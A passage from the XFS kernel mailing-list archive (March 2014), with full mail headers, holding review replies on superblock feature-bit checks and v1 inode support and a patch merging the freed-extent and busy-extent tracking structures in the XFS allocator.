reflect reality References: <1394088890-10713-1-git-send-email-david@fromorbit.com> <20140306180534.GA305@infradead.org> <20140306225541.GL6851@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140306225541.GL6851@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1394187329 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=COMMA_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3674 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 COMMA_SUBJECT Subject is like 'Re: FDSDS, this is a subject' On Fri, Mar 07, 2014 at 09:55:41AM +1100, Dave Chinner wrote: > > I'd vote to kill XFS_SB_NEEDED_FEATURES and just check the dirv2 bit > > explicitly. > > Ok. The only real reason I did this was in case there's a single bit > error that clears the dirv2 bit, but it still contains other bits > that indicate that the superblock is recent enough that we > understand it's contents and what should bein the fs. e.g. for > db/repair purposes - if the dir2 bit is not set, but any of the > above bits are set and the m_dirblklog is and it is sane, we can > assume that we've lost the feature bit and repair it. Seems like we should just special case that in repair instead of allowing a filesystem to go through in the kernel that is guaranteed to be corrupted. > Should I just drop it out of the supported feature matrix and drop > all other checks on that field? That way we can then remove all the > the crap that tries to validate it from xfs_repair, too. I have no > idea what is actually valid for this field, so I think we should > simply drop support of it from everything. I think we should pretending we know anything about the shared mount support. Everytime it came up I failed to find any hint on how it was supposed to work. From BATV+1ca453cd194183cc91a8+3848+infradead.org+hch@bombadil.srs.infradead.org Fri Mar 7 04:16:42 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 23EF27F50 for ; Fri, 7 Mar 2014 04:16:42 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 151328F8065 for ; Fri, 7 Mar 2014 02:16:39 -0800 (PST) X-ASG-Debug-ID: 1394187397-04cbb054b7133fa0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id QGJIxWgBYZTM4JjY (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 07 Mar 2014 02:16:38 -0800 (PST) X-Barracuda-Envelope-From: BATV+1ca453cd194183cc91a8+3848+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WLrpV-0001Se-Oo; Fri, 07 Mar 2014 10:16:37 +0000 Date: Fri, 7 Mar 2014 02:16:37 -0800 From: Christoph Hellwig To: Dave Chinner Cc: Christoph Hellwig , xfs@oss.sgi.com Subject: Re: [RFC, PATCH] xfs: make superblock version checks reflect reality Message-ID: <20140307101637.GD32333@infradead.org> X-ASG-Orig-Subj: Re: [RFC, PATCH] xfs: make superblock version checks reflect reality References: <1394088890-10713-1-git-send-email-david@fromorbit.com> <20140306180534.GA305@infradead.org> <20140306225541.GL6851@dastard> <20140307083430.GQ6851@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140307083430.GQ6851@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1394187398 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=COMMA_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3674 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 COMMA_SUBJECT Subject is like 'Re: FDSDS, this is a subject' On Fri, Mar 07, 2014 at 07:34:30PM +1100, Dave Chinner wrote: > Ok, we don't reject filesystems that don't have the NLINK bit set. > Older filesystems that have only v1 inodes won't have that bit > set, and we didn't set NLINK by default in mkfs until late 2007. > Hence we need to keep some form of NLINK support around. > > The alternative is to simply set the bit in the superblock if it is > not set, and then just assume everywhere that it is set and we are > using v2 inodes. That will get rid of the hasnlink/addnlink code > needed to modify the superblock when the link count goes above > MAX_NLINK_1, and will result in filesystems always converting v1 > inodes to v2 inodes on writeback of dirty inodes. I don't see a > problem with taking this approach, bt maybe I'm missing something? I'd love to get rid of v1 support sprinkled all over. Obviously this should be a separate patch, but making both the code and the in-use filesystems less diverse is a good idea. From BATV+1ca453cd194183cc91a8+3848+infradead.org+hch@bombadil.srs.infradead.org Fri Mar 7 04:46:06 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id AE89F7F50 for ; Fri, 7 Mar 2014 04:46:06 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 428F2AC001 for ; Fri, 7 Mar 2014 02:46:06 -0800 (PST) X-ASG-Debug-ID: 1394189164-04cb6c567732b2f0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id CBviYjQkhRvfVMyT (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 07 Mar 2014 02:46:05 -0800 (PST) X-Barracuda-Envelope-From: BATV+1ca453cd194183cc91a8+3848+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WLsI0-00005X-7O; Fri, 07 Mar 2014 10:46:04 +0000 Date: Fri, 7 Mar 2014 02:46:04 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 00/13] xfsprogs: initial EFSBADCRC support Message-ID: <20140307104604.GA32753@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 00/13] xfsprogs: initial EFSBADCRC support References: <1393923117-9559-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393923117-9559-1-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1394189165 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3675 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS Seems like xfstests will need some updates after this series to ignore Metadata corruption detected at block XXX/XXX lines from repair in various tests. From BATV+1ca453cd194183cc91a8+3848+infradead.org+hch@bombadil.srs.infradead.org Fri Mar 7 04:55:38 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 82BF47F50 for ; Fri, 7 Mar 2014 04:55:38 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6AC9D304070 for ; Fri, 7 Mar 2014 02:55:38 -0800 (PST) X-ASG-Debug-ID: 1394189735-04cbb054b7136960001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id G6NlA52lBYoT9opA (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 07 Mar 2014 02:55:35 -0800 (PST) X-Barracuda-Envelope-From: BATV+1ca453cd194183cc91a8+3848+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WLsRD-0002Jg-DP for xfs@oss.sgi.com; Fri, 07 Mar 2014 10:55:35 +0000 Date: Fri, 7 Mar 2014 02:55:35 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Subject: [PATCH] xfs: merge xfs_bmap_free_item and xfs_extent_busy Message-ID: <20140307105535.GA7850@infradead.org> X-ASG-Orig-Subj: [PATCH] xfs: merge xfs_bmap_free_item and xfs_extent_busy MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1394189735 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3675 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Merge the two structures to track a freed extent into a single one, to simply tracking the flow in the extent free code and reduce the amount of required memory allocations. Signed-off-by: Christoph Hellwig diff --git a/fs/xfs/xfs_alloc.c b/fs/xfs/xfs_alloc.c index c1cf6a3..656991d 100644 --- a/fs/xfs/xfs_alloc.c +++ b/fs/xfs/xfs_alloc.c @@ -2579,37 +2579,41 @@ error0: return error; } -/* - * Free an extent. - * Just break up the extent address and hand off to xfs_free_ag_extent - * after fixing up the freelist. - */ -int /* error */ -xfs_free_extent( - xfs_trans_t *tp, /* transaction pointer */ - xfs_fsblock_t bno, /* starting block number of extent */ - xfs_extlen_t len) /* length of extent */ +struct xfs_freed_extent * +xfs_freed_extent_alloc( + xfs_agnumber_t agno, + xfs_agblock_t bno, + xfs_extlen_t len, + unsigned int flags) +{ + struct xfs_freed_extent *new; + + new = kmem_zone_zalloc(xfs_freed_extent_zone, KM_SLEEP); + if (!new) + return NULL; + + new->agno = agno; + new->bno = bno; + new->length = len; + INIT_LIST_HEAD(&new->list); + new->flags = flags; + return new; +} + +int +__xfs_free_extent( + struct xfs_trans *tp, + struct xfs_freed_extent *free) { xfs_alloc_arg_t args; int error; - ASSERT(len != 0); + ASSERT(free->length != 0); memset(&args, 0, sizeof(xfs_alloc_arg_t)); args.tp = tp; args.mp = tp->t_mountp; - - /* - * validate that the block number is legal - the enables us to detect - * and handle a silent filesystem corruption rather than crashing. - */ - args.agno = XFS_FSB_TO_AGNO(args.mp, bno); - if (args.agno >= args.mp->m_sb.sb_agcount) - return EFSCORRUPTED; - - args.agbno = XFS_FSB_TO_AGBNO(args.mp, bno); - if (args.agbno >= args.mp->m_sb.sb_agblocks) - return EFSCORRUPTED; - + args.agno = free->agno; + args.agbno = free->bno; args.pag = xfs_perag_get(args.mp, args.agno); ASSERT(args.pag); @@ -2618,16 +2622,45 @@ xfs_free_extent( goto error0; /* validate the extent size is legal now we have the agf locked */ - if (args.agbno + len > + if (args.agbno + free->length > be32_to_cpu(XFS_BUF_TO_AGF(args.agbp)->agf_length)) { error = EFSCORRUPTED; goto error0; } - error = xfs_free_ag_extent(tp, args.agbp, args.agno, args.agbno, len, 0); - if (!error) - xfs_extent_busy_insert(tp, args.agno, args.agbno, len, 0); + error = xfs_free_ag_extent(tp, args.agbp, args.agno, args.agbno, + free->length, 0); error0: xfs_perag_put(args.pag); return error; } + +int +xfs_free_extent( + struct xfs_trans *tp, + xfs_fsblock_t bno, + xfs_extlen_t len) +{ + struct xfs_mount *mp = tp->t_mountp; + xfs_agnumber_t agno = XFS_FSB_TO_AGNO(mp, bno); + xfs_agblock_t agbno = XFS_FSB_TO_AGBNO(mp, bno); + struct xfs_freed_extent *free; + int error; + + /* + * validate that the block number is legal - the enables us to detect + * and handle a silent filesystem corruption rather than crashing. + */ + if (agno >= mp->m_sb.sb_agcount) + return EFSCORRUPTED; + if (agbno >= mp->m_sb.sb_agblocks) + return EFSCORRUPTED; + + free = xfs_freed_extent_alloc(agno, agbno, len, 0); + error = __xfs_free_extent(tp, free); + if (!error) { + xfs_extent_busy_insert(tp, free); + list_add(&free->list, &tp->t_busy); + } + return error; +} diff --git a/fs/xfs/xfs_alloc.h b/fs/xfs/xfs_alloc.h index feacb06..4aa7f8c 100644 --- a/fs/xfs/xfs_alloc.h +++ b/fs/xfs/xfs_alloc.h @@ -122,6 +122,17 @@ typedef struct xfs_alloc_arg { xfs_fsblock_t firstblock; /* io first block allocated */ } xfs_alloc_arg_t; +struct xfs_freed_extent { + struct rb_node rb_node; /* ag by-bno indexed search tree */ + struct list_head list; /* transaction busy extent list */ + xfs_agnumber_t agno; + xfs_agblock_t bno; + xfs_extlen_t length; + unsigned int flags; +#define XFS_EXTENT_DISCARDED 0x01 /* undergoing a discard op. */ +#define XFS_EXTENT_SKIP_DISCARD 0x02 /* do not discard */ +}; + /* * Defines for userdata */ @@ -210,6 +221,11 @@ xfs_free_extent( xfs_fsblock_t bno, /* starting block number of extent */ xfs_extlen_t len); /* length of extent */ +int +__xfs_free_extent( + struct xfs_trans *tp, + struct xfs_freed_extent *free); + int /* error */ xfs_alloc_lookup_le( struct xfs_btree_cur *cur, /* btree cursor */ @@ -231,4 +247,13 @@ xfs_alloc_get_rec( xfs_extlen_t *len, /* output: length of extent */ int *stat); /* output: success/failure */ +struct xfs_freed_extent * +xfs_freed_extent_alloc( + xfs_agnumber_t agno, + xfs_agblock_t bno, + xfs_extlen_t len, + unsigned int flags); + +extern kmem_zone_t *xfs_freed_extent_zone; + #endif /* __XFS_ALLOC_H__ */ diff --git a/fs/xfs/xfs_alloc_btree.c b/fs/xfs/xfs_alloc_btree.c index cc1eadc..ce3041a 100644 --- a/fs/xfs/xfs_alloc_btree.c +++ b/fs/xfs/xfs_alloc_btree.c @@ -107,21 +107,24 @@ xfs_allocbt_free_block( struct xfs_btree_cur *cur, struct xfs_buf *bp) { + struct xfs_trans *tp = cur->bc_tp; struct xfs_buf *agbp = cur->bc_private.a.agbp; struct xfs_agf *agf = XFS_BUF_TO_AGF(agbp); + struct xfs_freed_extent *free; xfs_agblock_t bno; int error; bno = xfs_daddr_to_agbno(cur->bc_mp, XFS_BUF_ADDR(bp)); - error = xfs_alloc_put_freelist(cur->bc_tp, agbp, NULL, bno, 1); + error = xfs_alloc_put_freelist(tp, agbp, NULL, bno, 1); if (error) return error; - xfs_extent_busy_insert(cur->bc_tp, be32_to_cpu(agf->agf_seqno), bno, 1, - XFS_EXTENT_BUSY_SKIP_DISCARD); - xfs_trans_agbtree_delta(cur->bc_tp, -1); + free = xfs_freed_extent_alloc(be32_to_cpu(agf->agf_seqno), bno, 1, + XFS_EXTENT_SKIP_DISCARD); + xfs_extent_busy_insert(tp, free); + list_add(&free->list, &tp->t_busy); - xfs_trans_binval(cur->bc_tp, bp); + xfs_trans_binval(tp, bp); return 0; } diff --git a/fs/xfs/xfs_bmap.c b/fs/xfs/xfs_bmap.c index 5b6092e..9c2c00c 100644 --- a/fs/xfs/xfs_bmap.c +++ b/fs/xfs/xfs_bmap.c @@ -50,7 +50,7 @@ #include "xfs_filestream.h" -kmem_zone_t *xfs_bmap_free_item_zone; +kmem_zone_t *xfs_freed_extent_zone; /* * Miscellaneous helper functions @@ -588,10 +588,6 @@ xfs_bmap_validate_ret( #endif /* DEBUG */ /* - * bmap free list manipulation functions - */ - -/* * Add the extent to the list of extents to be free at transaction end. * The list is maintained sorted (by block number). */ @@ -602,58 +598,22 @@ xfs_bmap_add_free( xfs_bmap_free_t *flist, /* list of extents */ xfs_mount_t *mp) /* mount point structure */ { - xfs_bmap_free_item_t *cur; /* current (next) element */ - xfs_bmap_free_item_t *new; /* new element */ - xfs_bmap_free_item_t *prev; /* previous element */ -#ifdef DEBUG - xfs_agnumber_t agno; - xfs_agblock_t agbno; + xfs_agnumber_t agno = XFS_FSB_TO_AGNO(mp, bno); + xfs_agblock_t agbno = XFS_FSB_TO_AGBNO(mp, bno); + struct xfs_freed_extent *new; ASSERT(bno != NULLFSBLOCK); ASSERT(len > 0); ASSERT(len <= MAXEXTLEN); ASSERT(!isnullstartblock(bno)); - agno = XFS_FSB_TO_AGNO(mp, bno); - agbno = XFS_FSB_TO_AGBNO(mp, bno); ASSERT(agno < mp->m_sb.sb_agcount); ASSERT(agbno < mp->m_sb.sb_agblocks); ASSERT(len < mp->m_sb.sb_agblocks); ASSERT(agbno + len <= mp->m_sb.sb_agblocks); -#endif - ASSERT(xfs_bmap_free_item_zone != NULL); - new = kmem_zone_alloc(xfs_bmap_free_item_zone, KM_SLEEP); - new->xbfi_startblock = bno; - new->xbfi_blockcount = (xfs_extlen_t)len; - for (prev = NULL, cur = flist->xbf_first; - cur != NULL; - prev = cur, cur = cur->xbfi_next) { - if (cur->xbfi_startblock >= bno) - break; - } - if (prev) - prev->xbfi_next = new; - else - flist->xbf_first = new; - new->xbfi_next = cur; - flist->xbf_count++; -} -/* - * Remove the entry "free" from the free item list. Prev points to the - * previous entry, unless "free" is the head of the list. - */ -void -xfs_bmap_del_free( - xfs_bmap_free_t *flist, /* free item list header */ - xfs_bmap_free_item_t *prev, /* previous item on list, if any */ - xfs_bmap_free_item_t *free) /* list item to be freed */ -{ - if (prev) - prev->xbfi_next = free->xbfi_next; - else - flist->xbf_first = free->xbfi_next; - flist->xbf_count--; - kmem_zone_free(xfs_bmap_free_item_zone, free); + new = xfs_freed_extent_alloc(agno, agbno, len, 0); + list_add_tail(&new->list, &flist->xbf_list); + flist->xbf_count++; } /* @@ -663,16 +623,14 @@ void xfs_bmap_cancel( xfs_bmap_free_t *flist) /* list of bmap_free_items */ { - xfs_bmap_free_item_t *free; /* free list item */ - xfs_bmap_free_item_t *next; + struct xfs_freed_extent *free, *n; - if (flist->xbf_count == 0) - return; - ASSERT(flist->xbf_first != NULL); - for (free = flist->xbf_first; free; free = next) { - next = free->xbfi_next; - xfs_bmap_del_free(flist, NULL, free); + list_for_each_entry_safe(free, n, &flist->xbf_list, list) { + list_del(&free->list); + flist->xbf_count--; + kmem_zone_free(xfs_freed_extent_zone, free); } + ASSERT(flist->xbf_count == 0); } diff --git a/fs/xfs/xfs_bmap.h b/fs/xfs/xfs_bmap.h index f84bd7a..73cedc4 100644 --- a/fs/xfs/xfs_bmap.h +++ b/fs/xfs/xfs_bmap.h @@ -25,19 +25,6 @@ struct xfs_inode; struct xfs_mount; struct xfs_trans; -extern kmem_zone_t *xfs_bmap_free_item_zone; - -/* - * List of extents to be free "later". - * The list is kept sorted on xbf_startblock. - */ -typedef struct xfs_bmap_free_item -{ - xfs_fsblock_t xbfi_startblock;/* starting fs block number */ - xfs_extlen_t xbfi_blockcount;/* number of blocks in extent */ - struct xfs_bmap_free_item *xbfi_next; /* link to next entry */ -} xfs_bmap_free_item_t; - /* * Header for free extent list. * @@ -52,9 +39,8 @@ typedef struct xfs_bmap_free_item * transaction reservations have been made then this algorithm will eventually * find all the space it needs. */ -typedef struct xfs_bmap_free -{ - xfs_bmap_free_item_t *xbf_first; /* list of to-be-free extents */ +typedef struct xfs_bmap_free { + struct list_head xbf_list; int xbf_count; /* count of items on list */ int xbf_low; /* alloc in low mode */ } xfs_bmap_free_t; @@ -103,8 +89,10 @@ static inline int xfs_bmapi_aflag(int w) static inline void xfs_bmap_init(xfs_bmap_free_t *flp, xfs_fsblock_t *fbp) { - ((flp)->xbf_first = NULL, (flp)->xbf_count = 0, \ - (flp)->xbf_low = 0, *(fbp) = NULLFSBLOCK); + INIT_LIST_HEAD(&flp->xbf_list); + flp->xbf_count = 0; + flp->xbf_low = 0; + *fbp = NULLFSBLOCK; } /* diff --git a/fs/xfs/xfs_bmap_util.c b/fs/xfs/xfs_bmap_util.c index 01f6a64..ade325f 100644 --- a/fs/xfs/xfs_bmap_util.c +++ b/fs/xfs/xfs_bmap_util.c @@ -59,6 +59,22 @@ xfs_fsb_to_db(struct xfs_inode *ip, xfs_fsblock_t fsb) XFS_FSB_TO_DADDR((ip)->i_mount, (fsb))); } +STATIC int +xfs_freed_extent_cmp( + void *priv, + struct list_head *la, + struct list_head *lb) +{ + struct xfs_freed_extent *a = + container_of(la, struct xfs_freed_extent, list); + struct xfs_freed_extent *b = + container_of(lb, struct xfs_freed_extent, list); + + if (a->agno == b->agno) + return a->bno - b->bno; + return a->agno - b->agno; +} + /* * Routine to be called at transaction's end by xfs_bmapi, xfs_bunmapi * caller. Frees all the extents that need freeing, which must be done @@ -74,13 +90,12 @@ xfs_bmap_finish( xfs_bmap_free_t *flist, /* i/o: list extents to free */ int *committed) /* xact committed or not */ { + struct xfs_mount *mp = (*tp)->t_mountp; + struct xfs_freed_extent *free; xfs_efd_log_item_t *efd; /* extent free data */ xfs_efi_log_item_t *efi; /* extent free intention */ int error; /* error return value */ - xfs_bmap_free_item_t *free; /* free extent item */ struct xfs_trans_res tres; /* new log reservation */ - xfs_mount_t *mp; /* filesystem mount structure */ - xfs_bmap_free_item_t *next; /* next item on free list */ xfs_trans_t *ntp; /* new transaction pointer */ ASSERT((*tp)->t_flags & XFS_TRANS_PERM_LOG_RES); @@ -90,9 +105,14 @@ xfs_bmap_finish( } ntp = *tp; efi = xfs_trans_get_efi(ntp, flist->xbf_count); - for (free = flist->xbf_first; free; free = free->xbfi_next) - xfs_trans_log_efi_extent(ntp, efi, free->xbfi_startblock, - free->xbfi_blockcount); + + list_sort(NULL, &flist->xbf_list, xfs_freed_extent_cmp); + + list_for_each_entry(free, &flist->xbf_list, list) { + xfs_trans_log_efi_extent(ntp, efi, + XFS_AGB_TO_FSB(mp, free->agno, free->bno), + free->length); + } tres.tr_logres = ntp->t_log_res; tres.tr_logcount = ntp->t_log_count; @@ -118,10 +138,10 @@ xfs_bmap_finish( if (error) return error; efd = xfs_trans_get_efd(ntp, efi, flist->xbf_count); - for (free = flist->xbf_first; free != NULL; free = next) { - next = free->xbfi_next; - if ((error = xfs_free_extent(ntp, free->xbfi_startblock, - free->xbfi_blockcount))) { + + list_for_each_entry(free, &flist->xbf_list, list) { + error = __xfs_free_extent(ntp, free); + if (error) { /* * The bmap free list will be cleaned up at a * higher level. The EFI will be canceled when @@ -130,7 +150,6 @@ xfs_bmap_finish( * happens, since this transaction may not be * dirty yet. */ - mp = ntp->t_mountp; if (!XFS_FORCED_SHUTDOWN(mp)) xfs_force_shutdown(mp, (error == EFSCORRUPTED) ? @@ -138,10 +157,13 @@ xfs_bmap_finish( SHUTDOWN_META_IO_ERROR); return error; } - xfs_trans_log_efd_extent(ntp, efd, free->xbfi_startblock, - free->xbfi_blockcount); - xfs_bmap_del_free(flist, NULL, free); + + xfs_trans_log_efd_extent(ntp, efd, + XFS_AGB_TO_FSB(mp, free->agno, free->bno), + free->length); } + + list_splice_init(&flist->xbf_list, &ntp->t_busy); return 0; } @@ -826,7 +848,7 @@ xfs_bmap_punch_delalloc_range( if (error) break; - ASSERT(!flist.xbf_count && !flist.xbf_first); + ASSERT(!flist.xbf_count && list_empty(&flist.xbf_list)); next_block: start_fsb++; remaining--; diff --git a/fs/xfs/xfs_bmap_util.h b/fs/xfs/xfs_bmap_util.h index 935ed2b..ffb26ea 100644 --- a/fs/xfs/xfs_bmap_util.h +++ b/fs/xfs/xfs_bmap_util.h @@ -21,7 +21,6 @@ /* Kernel only BMAP related definitions and functions */ struct xfs_bmbt_irec; -struct xfs_bmap_free_item; struct xfs_ifork; struct xfs_inode; struct xfs_mount; @@ -80,9 +79,6 @@ int xfs_getbmap(struct xfs_inode *ip, struct getbmapx *bmv, xfs_bmap_format_t formatter, void *arg); /* functions in xfs_bmap.c that are only needed by xfs_bmap_util.c */ -void xfs_bmap_del_free(struct xfs_bmap_free *flist, - struct xfs_bmap_free_item *prev, - struct xfs_bmap_free_item *free); int xfs_bmap_extsize_align(struct xfs_mount *mp, struct xfs_bmbt_irec *gotp, struct xfs_bmbt_irec *prevp, xfs_extlen_t extsz, int rt, int eof, int delay, int convert, diff --git a/fs/xfs/xfs_discard.c b/fs/xfs/xfs_discard.c index 4f11ef0..e3d0f18 100644 --- a/fs/xfs/xfs_discard.c +++ b/fs/xfs/xfs_discard.c @@ -215,7 +215,7 @@ xfs_discard_extents( struct xfs_mount *mp, struct list_head *list) { - struct xfs_extent_busy *busyp; + struct xfs_freed_extent *busyp; int error = 0; list_for_each_entry(busyp, list, list) { diff --git a/fs/xfs/xfs_extent_busy.c b/fs/xfs/xfs_extent_busy.c index fd22f69..f4711ee 100644 --- a/fs/xfs/xfs_extent_busy.c +++ b/fs/xfs/xfs_extent_busy.c @@ -35,51 +35,29 @@ void xfs_extent_busy_insert( struct xfs_trans *tp, - xfs_agnumber_t agno, - xfs_agblock_t bno, - xfs_extlen_t len, - unsigned int flags) + struct xfs_freed_extent *new) { - struct xfs_extent_busy *new; - struct xfs_extent_busy *busyp; + struct xfs_freed_extent *busyp; struct xfs_perag *pag; struct rb_node **rbp; struct rb_node *parent = NULL; - new = kmem_zalloc(sizeof(struct xfs_extent_busy), KM_MAYFAIL); - if (!new) { - /* - * No Memory! Since it is now not possible to track the free - * block, make this a synchronous transaction to insure that - * the block is not reused before this transaction commits. - */ - trace_xfs_extent_busy_enomem(tp->t_mountp, agno, bno, len); - xfs_trans_set_sync(tp); - return; - } - - new->agno = agno; - new->bno = bno; - new->length = len; - INIT_LIST_HEAD(&new->list); - new->flags = flags; - /* trace before insert to be able to see failed inserts */ - trace_xfs_extent_busy(tp->t_mountp, agno, bno, len); + trace_xfs_extent_busy(tp->t_mountp, new->agno, new->bno, new->length); pag = xfs_perag_get(tp->t_mountp, new->agno); spin_lock(&pag->pagb_lock); rbp = &pag->pagb_tree.rb_node; while (*rbp) { parent = *rbp; - busyp = rb_entry(parent, struct xfs_extent_busy, rb_node); + busyp = rb_entry(parent, struct xfs_freed_extent, rb_node); if (new->bno < busyp->bno) { rbp = &(*rbp)->rb_left; ASSERT(new->bno + new->length <= busyp->bno); } else if (new->bno > busyp->bno) { rbp = &(*rbp)->rb_right; - ASSERT(bno >= busyp->bno + busyp->length); + ASSERT(new->bno >= busyp->bno + busyp->length); } else { ASSERT(0); } @@ -88,7 +66,6 @@ xfs_extent_busy_insert( rb_link_node(&new->rb_node, parent, rbp); rb_insert_color(&new->rb_node, &pag->pagb_tree); - list_add(&new->list, &tp->t_busy); spin_unlock(&pag->pagb_lock); xfs_perag_put(pag); } @@ -111,7 +88,7 @@ xfs_extent_busy_search( { struct xfs_perag *pag; struct rb_node *rbp; - struct xfs_extent_busy *busyp; + struct xfs_freed_extent *busyp; int match = 0; pag = xfs_perag_get(mp, agno); @@ -121,7 +98,7 @@ xfs_extent_busy_search( /* find closest start bno overlap */ while (rbp) { - busyp = rb_entry(rbp, struct xfs_extent_busy, rb_node); + busyp = rb_entry(rbp, struct xfs_freed_extent, rb_node); if (bno < busyp->bno) { /* may overlap, but exact start block is lower */ if (bno + len > busyp->bno) @@ -158,7 +135,7 @@ STATIC bool xfs_extent_busy_update_extent( struct xfs_mount *mp, struct xfs_perag *pag, - struct xfs_extent_busy *busyp, + struct xfs_freed_extent *busyp, xfs_agblock_t fbno, xfs_extlen_t flen, bool userdata) __releases(&pag->pagb_lock) @@ -173,7 +150,7 @@ xfs_extent_busy_update_extent( * performing the discard a chance to mark the extent unbusy * and retry. */ - if (busyp->flags & XFS_EXTENT_BUSY_DISCARDED) { + if (busyp->flags & XFS_EXTENT_DISCARDED) { spin_unlock(&pag->pagb_lock); delay(1); spin_lock(&pag->pagb_lock); @@ -320,8 +297,8 @@ 